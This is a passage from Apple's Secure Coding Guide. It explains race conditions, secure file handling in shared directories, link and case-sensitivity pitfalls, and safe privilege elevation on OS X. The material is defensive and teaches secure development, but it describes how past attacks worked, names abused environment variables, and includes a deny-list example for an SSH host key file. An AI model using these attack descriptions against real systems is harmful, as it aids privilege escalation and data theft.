A writes 1001 as the new gate count. 8. Server process B writes 1001 as the new gate count. Because server process B read the gate count before process A had time to increment it and write it back, both processesread the same value. After process A incrementsthe gate count and writesit back, process B overwrites the value of the gate count with the same value written by process A. Because of this race condition, one of the two people entering the stadium was not counted. Since there might be long lines at each turnstile, this condition might occur many times before a big game, and a dishonest ticket clerk who knew about this undercount could pocket some of the receipts with no fear of being caught. Other race conditions that can be exploited, like the example above, involve the use of shared data or other interprocess communication methods. If an attacker can interfere with important data after it is written and before it isre-read, he orshe can disrupt the operation of the program, alter data, or do other Race Conditions and Secure File Operations Avoiding Race Conditions 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 45mischief. The use of non-thread-safe calls in multithreaded programs can result in data corruption. If an attacker can manipulate the program to cause two such threads to interfere with each other, it may be possible to mount a denial-of-service attack. In some cases, by using such a race condition to overwrite a buffer in the heap with more data than the buffer can hold, an attacker can cause a buffer overflow. As discussed in “Avoiding Buffer Overflows And Underflows” (page 17), buffer overflows can be exploited to cause execution of malicious code. The solution to race conditions involving shared data is to use a locking mechanism to prevent one process from changing a variable until another is finished with it. There are problems and hazards associated with such mechanisms, however, and they must be implemented carefully. And, of course, locking mechanisms only apply to processes that participate in the locking scheme. They cannot prevent an untrusted application from modifying the data maliciously. For a full discussion, see Wheeler, Secure Programming for Linux and Unix HOWTO, at http://www.dwheeler.com/secure-programs/. Time-of-check–time-of-use vulnerabilities can be prevented in different ways, depending largely on the domain of the problem. When working with shared data, you should use locking to protect that data from other instances of your code. When working with data in publicly writable directories, you should also take the precautions described in “Files In Publicly Writable Directories Are Dangerous” (page 51). Signal Handling Because signal handlers execute code at arbitrary times, they can be used to cause incorrect behavior. In daemons running as root, running the wrong code at the wrong time can even cause privilege escalation. “Securing Signal Handlers” (page 46) describes this problem in more detail. Securing Signal Handlers Signal handlers are another common source of race conditions. Signalsfrom the operating system to a process or between two processes are used for such purposes as terminating a process or causing it to reinitialize. If you include signal handlers in your program, they should not make any system calls and should terminate as quickly as possible. Although there are certain system calls that are safe from within signal handlers, writing a safe signal handler that does so is tricky. The best thing to do is to set a flag that your program checks periodically, and do no other work within the signal handler. Thisis because the signal handler can be interrupted by a new signal before it finishes processing the first signal, leaving the system in an unpredictable state or, worse, providing a vulnerability for an attacker to exploit. Race Conditions and Secure File Operations Securing Signal Handlers 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 46For example, in 1997, a vulnerability wasreported in a number of implementations of the FTP protocol in which a user could cause a race condition by closing an FTP connection. Closing the connection resulted in the near-simultaneous transmission of two signals to the FTP server: one to abort the current operation, and one to log out the user. The race condition occurred when the logout signal arrived just before the abort signal. When a user logged onto an FTP server as an anonymous user, the server would temporarily downgrade its privilegesfrom root to nobody so that the logged-in user had no privilegesto write files. When the user logged out, however, the server reassumed root privileges. If the abort signal arrived at just the right time, it would abort the logout procedure after the server had assumed root privileges but before it had logged out the user. The user would then be logged in with root privileges, and could proceed to write files at will. An attacker could exploit this vulnerability with a graphical FTP client simply by repeatedly clicking the “Cancel” button. [CVE-1999-0035] For a brief introduction to signal handlers, see the Little Unix Programmers Group site at http://users.actcom.co.il/~choo/lupg/tutorials/signals/signals-programming.html. For a discourse on how signal handler race conditions can be exploited,see the article by Michal Zalewski at http://www.bindview.com/Services/razor/Papers/2001/signals.cfm. Securing File Operations Insecure file operations are a major source of security vulnerabilities. In some cases, opening or writing to a file in an insecure fashion can give attackers the opportunity to create a race condition (see “Time of Check Versus Time of Use” (page 44)). Often, however, insecure file operations give an attacker the ability to read confidential information, perform a denial of service attack, take control of an application, or even take control of the entire system. This section discusses what you should do to make your file operations more secure. Check Result Codes Always check the result codes of every routine that you call. Be prepared to handle the situation if the operation fails. Most file-based security vulnerabilities could have been avoided if the developers of the programs had checked result codes. Some common mistakes are listed below. When writing to files or changing file permissions A failure when change permissions on a file or to open a file for writing can be caused by many things, including: ● Insufficient permissions on the file or enclosing directory. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 47● The immutable flag (set with the chflags utility or the chflags system call). ● A network volume becoming unavailable. ● An external drive getting unplugged. ● A drive failure. Depending on the nature of your software, any one of these could potentially be exploited if you do not properly check error codes. See the manual pages for the chflags, chown, and chgrp commands and the chflags and chown functions for more information. When removing files Although the rm command can often ignore permissions if you pass the -f flag, it can still fail. For example, you can’t remove a directory that has anything inside it. If a directory is in a location where other users have access to it, any attempt to remove the directory might fail because another process might add new files while you are removing the old ones. The safest way to fix this problem is to use a private directory that no one else has access to. If that’s not possible, check to make sure the rm command succeeded and be prepared to handle failures. Watch Out for Hard Links A hard link is a second name for a file—the file appears to be in two different locations with two different names. If a file has two (or more) hard links and you check the file to make sure that the ownership, permissions, and so forth are all correct, but fail to check the number of links to the file, an attacker can write to or read from the file through their own link in their own directory. Therefore, among other checks before you use a file, you should check the number of links. Do not, however, simply fail if there’s a second link to a file, because there are some circumstances where a link is okay or even expected. For example, every directory islinked into at least two placesin the hierarchy—the directory name itself and the special . record from the directory that links back to itself. Also, if that directory contains other directories, each of those subdirectories contains a .. record that points to the outer directory. You need to anticipate such conditions and allow for them. Even if the link is unexpected, you need to handle the situation gracefully. Otherwise, an attacker can cause denial of service just by creating a link to the file. Instead, you should notify the user of the situation, giving them as much information as possible so they can try to track down the source of the problem. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 48Watch Out for Symbolic Links A symbolic link is a special type of file that contains a path name. Symbolic links are more common than hard links. Functions that follow symbolic links automatically open, read, or write to the file whose path name is in the symbolic link file rather than the symbolic link file itself. Your application receives no notification that a symbolic link was followed; to your application, it appears as if the file addressed is the one that was used. An attacker can use a symbolic link, for example, to cause your application to write the contents intended for a temporary file to a critical system file instead, thus corrupting the system. Alternatively, the attacker can capture data you are writing or can substitute the attacker’s data for your own when you read the temporary file. In general, you should avoid functions,such as chown and stat, that follow symbolic links(see Table 4-1 (page 55) for alternatives). As with hard links, your program should evaluate whether a symbolic link is acceptable, and if not, should handle the situation gracefully. Case-Insensitive File Systems Can Thwart Your Security Model In OS X, any partition (including the boot volume) can be either case-sensitive, case-insensitive but case-preserving, or, for non-boot volumes, case-insensitive. For example, HFS+ can be either case-sensitive or case-insensitive but case-preserving. FAT32 is case-insensitive but case-preserving. FAT12, FAT16, and ISO-9660 (without extensions) are case-insensitive. An application that is unaware of the differences in behavior between these volume formats can cause serious security holes if you are not careful. In particular: ● If your program uses its own permission model to provide or deny access (for example, a web server that allows access only to files within a particular directory), you must either enforce this with a chroot jail or be vigilant about ensuring that you correctly identify paths even in a case-insensitive world. Among other things, this meansthat you should ideally use a whitelisting scheme rather than a blacklisting scheme (with the default behavior being “deny”). If this is not possible, for correctness, you must compare each individual path part against your blacklist using case-sensitive or case-insensitive comparisons, depending on what type of volume the file resides on. For example, if your program has a blacklist that prevents users from uploading or downloading the file /etc/ssh_host_key, if your software is installed on a case-insensitive volume, you must also reject someone who makes a request for /etc/SSH_host_key, /ETC/SSH_HOST_KEY, or even /ETC/ssh_host_key. ● If your program periodically accesses a file on a case-sensitive volume using the wrong mix of uppercase and lowercase letters, the open call will fail... until someone creates a second file with the name your program is actually asking for. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 49If someone creates such a file, your application will dutifully load data from the wrong file. If the contents of that file affect your application’s behavior in some important way, this represents a potential attack vector. This also presents a potential attack vector if that file is an optional part of your application bundle that gets loaded by dyld when your application is launched. Create Temporary Files Correctly The temporary directories in OS X are shared among multiple users. This requires that they be writable by multiple users. Any time you work on files in a location to which others have read/write access, there’s the potential for the file to be compromised or corrupted. The following list explains how to create temporary files using APIs at various layers of OS X. POSIX Layer In general, you should always use the mkstemp function to create temporary files at the POSIX layer. The mkstemp function guarantees a unique filename and returns a file descriptor, thus allowing you skip the step of checking the open function result for an error, which might require you to change the filename and call open again. If you must create a temporary file in a public directory manually, you can use the open function with the O_CREAT and O_EXCL flags set to create the file and obtain a file descriptor. The O_EXCL flag causes this function to return an error if the file already exists. Be sure to check for errors before proceeding. After you’ve opened the file and obtained a file descriptor, you can safely use functions that take file descriptors, such as the standard C functions write and read, for as long as you keep the file open. See the manual pages for open(2), mkstemp(3), write(2), and read(2) for more on these functions, and see Wheeler, Secure Programming for Linux and Unix HOWTO for advantages and shortcomings to using these functions. Carbon To find the default location to store temporary files, you can call the FSFindFolder function and specify a directory type of kTemporaryFolderType. This function checks to see whether the UID calling the function owns the directory and, if not, returns the user home directory in ~/Library. Therefore, this function returns a relatively safe place to store temporary files. Thislocation is not assecure as a directory that you created and that is accessible only by your program. The FSFindFolder function is documented in Folder Manager Reference . If you’ve obtained the file reference of a directory (from the FSFindFolder function, for example), you can use the FSRefMakePath function to obtain the directory’s path name. However, be sure to check the function result, because if the FSFindFolder function fails, it returns a null string. If you don’t Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 50check the function result, you might end up trying to create a temporary file with a pathname formed by appending a filename to a null string. Cocoa There are no Cocoa methods that create a file and return a file descriptor. However, you can call the standard C open function from an Objective-C program to obtain a file descriptor (see “Working With Publicly Writable Files Using POSIX Calls” (page 54)). Or you can call the mkstemp function to create a temporary file and obtain a file descriptor. Then you can use the NSFileHandle method initWithFileDescriptor: to initialize a file handle, and other NSFileHandle methods to safely write to or read from the file. Documentation for the NSFileHandle class is in Foundation Framework Reference . To obtain the path to the default location to store temporary files (stored in the $TMPDIR environment variable), you can use the NSTemporaryDirectory function, which calls the FSFindFolder and FSRefMakePath functions for you (see “Working With Publicly Writable Files Using Carbon” (page 55)). Note that NSTemporaryDirectory can return /tmp under certain circumstances such as if you link on a pre-OS X v10.3 development target. Therefore, if you’re using NSTemporaryDirectory, you either have to be sure that using /tmp is suitable for your operation or, if not, you should consider that an error case and create a more secure temporary directory if that happens. The changeFileAttributes:atPath: method in the NSFileManager class is similar to chmod or chown, in that it takes a file path rather than a file descriptor. You shouldn’t use this method if you’re working in a public directory or a user’s home directory. Instead, call the fchown or fchmod function (see Table 4-1 (page 55)). You can call the NSFileHandle class’s fileDescriptor method to get the file descriptor of a file in use by NSFileHandle. In addition, when working with temporary files, you should avoid the writeToFile:atomically methods of NSString and NSData. These are designed to minimize the risk of data loss when writing to a file, but do so in a way that is not recommended for use in directories that are writable by others. See “Working With Publicly Writable Files Using Cocoa” (page 56) for details. Files in Publicly Writable Directories Are Dangerous Files in publicly writable directories must be treated as inherently untrusted. An attacker can delete the file and replace it with another file, replace it with a symbolic link to another file, create the file ahead of time, and so on. There are ways to mitigate each of these attacks to some degree, but the best way to prevent them is to not read or write files in a publicly writable directory in the first pace. If possible, you should create a subdirectory with tightly controlled permissions, then write your files inside that subdirectory. If you must work in a directory to which your process does not have exclusive access, however, you must check to make sure a file does not exist before you create it. You must also verify that the file you intend to read from or write to is the same file that you created. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 51To this end, you should always use routines that operate on file descriptors rather than pathnames wherever possible, so that you can be certain you’re always dealing with the same file. To do this, pass the O_CREAT and O_EXCL flags to the open system call. This creates a file, but fails if the file already exists. Note: If you cannot use file descriptors directly for some reason, you should explicitly create files as a separate step from opening them. Although this does not prevent someone from swapping in a new file between those operations, at least it narrows the attack window by making it possible to detect if the file already exists. Before you create the file, however, you should first set your process’s file creation mask (umask). The file creation mask is a bitmask that alters the default permissions of all new files and directories created by your process. This bitmask is typically specified in octal notation, which means that it must begin with a zero (not 0x). For example, if you set the file creation mask to 022, any new files created by your process will have rw-r--r-- permissions because the write permission bits are masked out. Similarly, any new directories will have rw-r-xr-x permissions. Note: New files never have the execute bit set. Directories, however, do. Therefore, you should generally mask out execute permission when masking out read permission unless you have a specific reason to allow users to traverse a directory without seeing its contents. To limit access to any new files or directories so that only the user can access them, set the file creation mask to 077. You can also mask out permissions in such a way that they apply to the user, though this is rare. For example, to create a file that no one can write or execute, and that only the user can read, you could set the file creation mask to 0377. This is not particularly useful, but it is possible. There are several ways to set the file creation mask: In C code: In C code, you can set the file creation mask globally using the umask system call. You can also passthe file creation mask to the open or mkdir system call when creating a file or directory. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 52Note: For maximum portability when writing C code, you should always create your masks using the file mode constants defined in . For example: umask(S_IRWXG|S_IRWXO); In shell scripts: In shell scripts, you set the file creation mask by using the umask shell builtin. This is documented in the manual pages for sh or csh. For example: umask 0077; As an added security bonus, when a process calls another process, the new processinheritsthe parent process’s file creation mask. Thus, if your process starts another process that creates a file without resetting the file creation mask, that file similarly will not be accessible to other users on the system. This is particularly useful when writing shell scripts. For more information on the file creation mask,see the manual page for umask and Viega and McGraw, Building Secure Software , Addison Wesley, 2002. For a particularly lucid explanation of the use of a file creation mask, see http://web.archive.org/web/20090517063338/http://www.sun.com/bigadmin/content/submitted/umask_permissions.html?. Before you read a file (but after opening it), make sure it has the owner and permissions you expect (using fstat). Be prepared to fail gracefully (rather than hanging) if it does not. Here are some guidelines to help you avoid time-of-check–time-of-use vulnerabilities when working with files in publicly writable directories. For more detailed discussions, especially for C code, see Viega and McGraw, Building Secure Software , Addison Wesley, 2002, and Wheeler, Secure Programming for Linux and Unix HOWTO, available at http://www.dwheeler.com/secure-programs/. ● If at all possible, avoid creating temporary files in a shared directory, such as /tmp, or in directories owned by the user. If anyone else has access to your temporary file, they can modify its content, change its ownership or mode, or replace it with a hard or symbolic link. It’s much safer to either not use a temporary file at all (use some other form of interprocess communication) or keep temporary files in a directory you create and to which only your process (acting as your user) has access. ● If your file must be in a shared directory, give it a unique (and randomly generated) filename (you can use the C function mkstemp to do this), and never close and reopen the file. If you close such a file, an attacker can potentially find it and replace it before you reopen it. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 53Here are some public directories that you can use: ● ~/Library/Caches/TemporaryItems When you use this subdirectory, you are writing to the user’s own home directory, not some other user’s directory or a system directory. If the user’s home directory has the default permissions, it can be written to only by that user and root. Therefore, this directory is not as susceptible to attack from outside, nonprivileged users as some other directories might be. ● /var/run This directory is used for process ID (pid) files and other system files needed just once per startup session. This directory is cleared out each time the system starts up. ● /var/db This directory is used for databases accessible to system processes. ● /tmp This directory is used for general shared temporary storage. It is cleared out each time the system starts up. ● /var/tmp This directory is used for general shared temporary storage. Although you should not count on data stored in this directory being permanent, unlike /tmp, the /var/tmp directory is currently not cleared out on reboot. For maximum security, you should always create temporary subdirectories within these directories, set appropriate permissions on those subdirectories, and then write files into those subdirectories. The following sections give some additional hints on how to follow these principles when you are using POSIX-layer C code, Carbon, and Cocoa calls. Working with Publicly Writable Files Using POSIX Calls If you need to open a preexisting file to modify it or read from it, you should check the file’s ownership, type, and permissions, and the number of links to the file before using it. To safely opening a file for reading, for example, you can use the following procedure: 1. Call the open function and save the file descriptor. Pass the O_NOFOLLOW to ensure that it does not follow symbolic links. 2. Using the file descriptor, call the fstat function to obtain the stat structure for the file you just opened. 3. Check the user ID (UID) and group ID (GID) of the file to make sure they are correct. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 544. Check the file's mode flags to make sure that it is a normal file, not a FIFO, device file, or other special file. Specifically, if the stat structure is named st, then the value of (st.st_mode & S_IFMT) should be equal to S_IFREG. 5. Check the read, write, and execute permissions for the file to make sure they are what you expect. 6. Check that there is only one hard link to the file. 7. Pass around the open file descriptor for later use rather than passing the path. Note that you can avoid all the status checking by using a secure directory instead of a public one to hold your program’s files. Table 4-1 shows some functions to avoid—and the safer equivalent functions to use—in order to avoid race conditions when you are creating files in a public directory. Table 4-1 C file functions to avoid and to use Functions to avoid Functions to use instead open returns a file descriptor; creates a file and returns an error if the file already exists when the O_CREAT and O_EXCL options are used fopen returns a file pointer; automatically creates the file if it does not exist but returns no error if the file does exist chmod takes a file path fchmod takes a file descriptor fchown takes a file descriptor and does not follow symbolic links chown takes a file path and follows symbolic links lstat takes a file path but does not follow symbolic links; fstat takes a file descriptor and returns information about an open file stat takes a file path and follows symbolic links mkstemp creates a temporary file with a unique name, opens it for reading and writing, and returns a file descriptor mktemp creates a temporary file with a unique name and returns a file path; you need to open the file in another call Working with Publicly Writable Files Using Carbon If you are using the Carbon File Manager to create and open files, you should be aware of how the File Manager accesses files. ● The file specifier FSSpec structure uses a path to locate files, not a file descriptor. Functions that use an FSSpec file specifier are deprecated and should not be used in any case. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 55● The file reference FSRef structure uses a path to locate files and should be used only if your files are in a safe directory, not in a publicly accessible directory. These functions include FSGetCatalogInfo, FSSetCatalogInfo, FSCreateFork, and others. ● The File Manager creates and opensfilesin separate operations. The create operation failsif the file already exists. However, none of the file-creation functions return a file descriptor. If you’ve obtained the file reference of a directory (from the FSFindFolder function, for example), you can use the FSRefMakePath function to obtain the directory’s path name. However, be sure to check the function result, because if the FSFindFolder function fails, it returns a null string. If you don’t check the function result, you might end up trying to create a temporary file with a pathname formed by appending a filename to a null string. Working with Publicly Writable Files Using Cocoa The NSString and NSData classes have writeToFile:atomically methods designed to minimize the risk of data loss when writing to a file. These methods write first to a temporary file, and then, when they’re sure the write is successful, they replace the written-to file with the temporary file. This is not always an appropriate thing to do when working in a public directory or a user’s home directory, because there are a number of path-based file operationsinvolved. Instead, initialize an NSFileHandle object with an existing file descriptor and use NSFileHandle methods to write to the file, as mentioned above. The following code, for example, usesthe mkstemp function to create a temporary file and obtain a file descriptor, which it then usesto initialize NSFileHandle: fd = mkstemp(tmpfile); // check return for -1, which indicates an error NSFileHandle *myhandle = [[NSFileHandle alloc] initWithFileDescriptor:fd]; Working with Publicly Writable Files in Shell Scripts Scripts must follow the same general rules as other programs to avoid race conditions. There are a few tips you should know to help make your scripts more secure. First, when writing a script, set the temporary directory ($TMPDIR) environment variable to a safe directory. Even if your script doesn’t directly create any temporary files, one or more of the routines you call might create one, which can be a security vulnerability if it’s created in an insecure directory. See the manual pages for setenv and setenv for information on changing the temporary directory environment variable. For the same reason, set your process’ file code creation mask (umask) to restrict access to any files that might be created by routines run by your script (see “Securing File Operations” (page 47) for more information on the umask). Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 56It’s also a good idea to use the dtruss command on a shell script so you can watch every file access to make sure that no temporary files are created in an insecure location. See the manual pages for dtrace and dtruss for more information. Do not redirect output using the operators > or >> to a publicly writable location. These operators do not check to see whether the file already exists, and they follow symbolic links. Instead, pass the -d flag to the mktemp command to create a subdirectory to which only you have access. It’s important to check the result to make sure the command succeeded. if you do all your file operations in this directory, you can be fairly confident that no one with less than root access can interfere with your script. For more information, see the manual page for mktemp. Do not use the test command (or its left bracket ([) equivalent) to check for the existence of a file or other statusinformation for the file before writing to it. Doing so alwaysresultsin a race condition; that is, it is possible for an attacker to create, write to, alter, or replace the file before you start writing. See the manual page for test for more information. For a more in-depth look at security issues specific to shell scripts, read “Shell Script Security” in Shell Scripting Primer. Other Tips Here are a few additional things to be aware of when working with files: ● Before you attempt a file operation, make sure it is safe to perform the operation on that file. For example, before attempting to read a file (but after opening it), you should make sure that it is not a FIFO or a device special file. ● Just because you can write to a file, that doesn’t mean you should write to it. For example, the fact that a directory exists doesn’t mean you created it, and the fact that you can append to a file doesn’t mean you own the file or no one else can write to it. ● OS X can perform file operations on files in several different file systems. Some operations can be done only on certain systems. For example, certain file systems honor setuid files when executed from them and some don’t. Be sure you know what file system you’re working with and what operations can be carried out on that system. ● Local pathnames can point to remote files. For example, the path /volumes/foo might actually be someone’s FTP server rather than a locally-mounted volume. Just because you’re accessing something by a pathname, that does not guarantee that it’s local or that it should be accessed. ● A user can mount a file system anywhere they have write access and own the directory. In other words, almost anywhere a user can create a directory, they can mount a file system on top of it. Because this can be done remotely, an attacker running as root on a remote system could mount a file system into your home directory. Files in that file system would appear to be files in your home directory owned by root. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 57For example, /tmp/foo might be a local directory, or it might be the root mount point of a remotely mounted file system. Similarly, /tmp/foo/bar might be a local file, or it might have been created on another machine and be owned by root over there. Therefore, you can’t trust files based only on ownership, and you can’t assume that setting the UID to 0 was done by someone you trust. To tell whether the file is mounted locally, use the fstat call to check the device ID. If the device ID is different from that of files you know to be local, then you’ve crossed a device boundary. ● Remember that users can read the contents of executable binariesjust as easily asthe contents of ordinary files. For example, the user can run strings(1) to quickly see a list of (ostensibly) human-readable strings in your executable. ● When you fork a new process, the child process inherits all the file descriptors from the parent unless you set the close-on-exec flag. If you fork and execute a child process and drop the child process’ privileges so its real and effective IDs are those of some other user (to avoid running that process with elevated privileges), then that user can use a debugger to attach the child process. They can then run arbitrary code from that running process. Because the child process inherited all the file descriptors from the parent, the user now has access to every file opened by the parent process. See “Inheriting File Descriptors” (page 61) for more information on this type of vulnerability. Race Conditions and Secure File Operations Securing File Operations 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 58By default, applications run as the currently logged in user. Different users have different rights when it comes to accessing files, changing systemwide settings, and so on, depending on whether they are admin users or ordinary users. Some tasks require additional privileges above and beyond what even an admin user can do by default. An application or other process with such additional rights is said to be running with elevated privileges. Running code with root or administrative privileges can intensify the dangers posed by security vulnerabilities. This chapter explains the risks, provides alternatives to privilege elevation, and describes how to elevating privileges safely when you can’t avoid it. Note: Elevating privileges is not allowed in applications submitted to the Mac App Store (and is not possible in iOS). Circumstances Requiring Elevated Privileges Regardless of whether a user is logged in as an administrator, a program might have to obtain administrative or root privileges in order to accomplish a task. Examples of tasks that require elevated privileges include: ● manipulating file permissions, ownership ● creating, reading, updating, or deleting system and user files ● opening privileged ports (those with port numbers less than 1024) for TCP and UDP connections ● opening raw sockets ● managing processes ● reading the contents of virtual memory ● changing system settings ● loading kernel extensions If you have to perform a task that requires elevated privileges, you must be aware of the fact that running with elevated privileges means that if there are any security vulnerabilities in your program, an attacker can obtain elevated privileges as well, and would then be able to perform any of the operations listed above. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 59 Elevating Privileges SafelyThe Hostile Environment and the Principle of Least Privilege Any program can come under attack, and probably will. By default, every process runs with the privileges of the user or process that started it. Therefore, if a user has logged on with restricted privileges, your program should run with those restricted privileges. This effectively limits the amount of damage an attacker can do, even if he successfully hijacks your program into running malicious code. Do not assume that the user islogged in with administrator privileges; you should be prepared to run a helper application with elevated privileges if you need them to accomplish a task. However, keep in mind that, if you elevate your process’s privileges to run asroot, an attacker can gain those elevated privileges and potentially take over control of the whole system. Note: Although in certain circumstances it’s possible to mount a remote attack over a network, for the most part the vulnerabilities discussed here involve malicious code running locally on the target computer. If an attacker uses a buffer overflow or othersecurity vulnerability (see “Types of Security Vulnerabilities” (page 11)) to execute code on someone else’s computer, they can generally run their code with whatever privileges the logged-in user has. If an attacker can gain administrator privileges, they can elevate to root privileges and gain accessto any data on the user’s computer. Therefore, it is good security practice to log in as an administrator only when performing the rare tasks that require admin privileges. Because the default setting for OS X is to make the computer’s owner an administrator, you should encourage your usersto create a separate non-admin login and to use that for their everyday work. In addition, if possible, you should not require admin privileges to install your software. The idea of limiting risk by limiting access goes back to the “need to know” policy followed by government security agencies (no matter what your security clearance, you are not given access to information unless you have a specific need to know that information). In software security, this policy is often termed “the principle of least privilege,” first formally stated in 1975: “Every program and every user of the system should operate using the leastset of privileges necessary to complete the job.”(Saltzer,J.H. AND Schroeder, M.D.,“The Protection of Information in Computer Systems,” Proceedings of the IEEE , vol. 63, no. 9, Sept 1975.) In practical terms, the principle of least privilege means you should avoid running asroot, or—if you absolutely must run asroot to perform some task—you should run a separate helper application to perform the privileged task (see “Factoring Applications” (page 69)). By running with the least privilege possible, you: ● Limit damage from accidents and errors, including maliciously introduced accidents and errors ● Reduce interactions of privileged components, and therefore reduce unintentional, unwanted, and improper uses of privilege (side effects) Elevating Privileges Safely The Hostile Environment and the Principle of Least Privilege 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 60Keep in mind that, even if your code is free of errors, vulnerabilities in any libraries your code links in can be used to attack your program. For example, no program with a graphical user interface should run with privileges because the large number of libraries used in any GUI application makes it virtually impossible to guarantee that the application has no security vulnerabilities. There are a number of ways an attacker can take advantage of your program if you run as root. Some possible approaches are described in the following sections. Launching a New Process Because any new process runs with the privileges of the process that launched it, if an attacker can trick your process into launching his code, the malicious code runs with the privileges of your process. Therefore, if your process is running with root privileges and is vulnerable to attack, the attacker can gain control of the system. There are many ways an attacker can trick your code into launching malicious code, including buffer overflows, race conditions, and social engineering attacks (see “Types of Security Vulnerabilities” (page 11)). Executing Command-Line Arguments Because all command-line arguments, including the program name (argv(0)), are under the control of the user, you should not use the command line to execute any program without validating every parameter, including the name. If you use the command line to re-execute your own code or execute a helper program, for example, a malicious user might have substituted his own code with that program name, which you are now executing with your privileges. Inheriting File Descriptors When you create a new process, the child process inherits its own copy of the parent process’s file descriptors (see the manual page for fork(2)). Therefore, if you have a handle on a file, network socket, shared memory, or other resource that’s pointed to by a file descriptor and you fork off a child process, you must be careful to either close the file descriptor or you must make sure that the child process cannot be tampered with. Otherwise, a malicious user can use the subprocess to tamper with the resources referenced by the file descriptors. For example, if you open a password file and don’t close it before forking a process, the new subprocess has access to the password file. To set a file descriptor so that it closes automatically when you execute a new process (such as by using the execve system call), use the fcntl(2) command to set the close-on-exec flag. You mustset thisflag individually for each file descriptor; there’s no way to set it for all. Elevating Privileges Safely The Hostile Environment and the Principle of Least Privilege 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 61Abusing Environment Variables Most libraries and utilities use environment variables. Sometimes environment variables can be attacked with buffer overflows or by inserting inappropriate values. If your program links in any libraries or calls any utilities, your program is vulnerable to attacks through any such problematic environment variables. If your program is running as root, the attacker might be able to bring down or gain control of the whole system in this way. Examples of environment variables in utilities and libraries that have been attacked in the past include: 1. The dynamic loader: LD_LIBRARY_PATH, DYLD_LIBRARY_PATH are often misused, causing unwanted side effects. 2. libc: MallocLogFile 3. Core Foundation: CF_CHARSET_PATH 4. perl: PERLLIB, PERL5LIB, PERL5OPT [ 2 CVE-2005-2748 (corrected in Apple Security Update 2005-008) 3 CVE-2005-0716 (corrected in Apple Security Update 2005-003) 4 CVE-2005-4158] Environment variables are also inherited by child processes. If you fork off a child process, your parent process should validate the values of all environment variables before it uses them in case they were altered by the child process (whether inadvertently or through an attack by a malicious user). Modifying Process Limits You can use the setrlimit call to limit the consumption of system resources by a process. For example, you can set the largest size of file the process can create, the maximum amount of CPU time the process can consume, and the maximum amount of physical memory a process may use. These process limits are inherited by child processes. In order to prevent an attacker from taking advantage of open file descriptors, programsthat run with elevated privileges often close all open file descriptors when they start up. However, if an attacker can use setrlimit to alter the file descriptor limit, he can fool the program into leaving some of the files open. Those files are then vulnerable. Similarly, a vulnerability was reported for a version of Linux that made it possible for an attacker, by decreasing the maximum file size, to limit the size of the /etc/passwd and /etc/shadow files. Then, the next time a utility accessed one of these files, it truncated the file, resulting in a loss of data and denial of service. [CVE-2002-0762] Elevating Privileges Safely The Hostile Environment and the Principle of Least Privilege 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 62File Operation Interference If you’re running with elevated privileges in order to write or read files in a world-writable directory or a user’s directory, you must be aware of time-of-check–time-of-use problems; see “Time of Check Versus Time of Use” (page 44). Avoiding Elevated Privileges In many cases, you can accomplish your task without needing elevated privileges. For example, suppose you need to configure the environment (add a configuration file to the user’s home directory or modify a configuration file in the user’s home directory) for your application. You can do this from an installer running asroot (the installer command requires administrative privileges;see the manual page for installer(8)). However, if you have the application configure itself, or check whether configuration is needed when it starts up, then you don’t need to run as root at all. An example of using an alternate design in order to avoid running with elevated privileges is given by the BSD ps command, which displaysinformation about processesthat have controlling terminals. Originally, BSD used the setgid bit to run the ps command with a group ID of kmem, which gave it privilegesto read kernel memory. More recent implementations of the ps command use the sysctl utility to read the information it needs, removing the requirement that ps run with any special privileges. Running with Elevated Privileges If you do need to run code with elevated privileges, there are several approaches you can take: ● You can run a daemon with elevated privileges that you call on when you need to perform a privileged task. The preferred method of launching a daemon is to use the launchd daemon (see “launchd” (page 66)). It is easier to use launchd to launch a daemon and easier to communicate with a daemon than it is to fork your own privileged process. ● You can use the authopen command to read, create, or update a file (see “authopen” (page 65)). ● You can set the setuid and setgid bitsfor the executable file of your code, and set the owner and group of the file to the privilege level you need; for example, you can set the owner to root and the group to wheel. Then when the code is executed, it runs with the elevated privileges of its owner and group rather than with the privileges of the process that executed it. (See the “Permissions” section in the “Security Concepts” chapter in Security Overview.) This technique is often used to execute the privileged code in a factored application (see “Factoring Applications” (page 69)). As with other privileged code, you must be very sure that there are no vulnerabilities in your code and that you don’t link in any libraries or call any utilities that have vulnerabilities. Elevating Privileges Safely Avoiding Elevated Privileges 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 63If you fork off a privileged process, you should terminate it as soon as it has accomplished its task (see “Factoring Applications” (page 69)). Although architecturally thisis often the bestsolution, it is very difficult to do correctly, especially the first time you try. Unless you have a lot of experience with forking off privileged processes, you might want to try one of the other solutions first. ● You can use a BSD system call to change privilege level (see “Calls to Change Privilege Level” (page 64)). These commands have confusing semantics. You must be careful to use them correctly, and it’s very important to check the return values of these calls to make sure they succeeded. Note that in general, unless your process was initially running as root, it cannot elevate its privilege with these calls. However, a process running as root can discard (temporarily or permanently) those privileges. Any process can change from acting on behalf of one group to another (within the set of groups to which it belongs). Calls to Change Privilege Level There are several commands you can use to change the privilege level of a program. The semantics of these commands are tricky, and vary depending on the operating system on which they’re used. Important: If you are running with both a group ID (GID) and user ID (UID) that are different from those of the user, 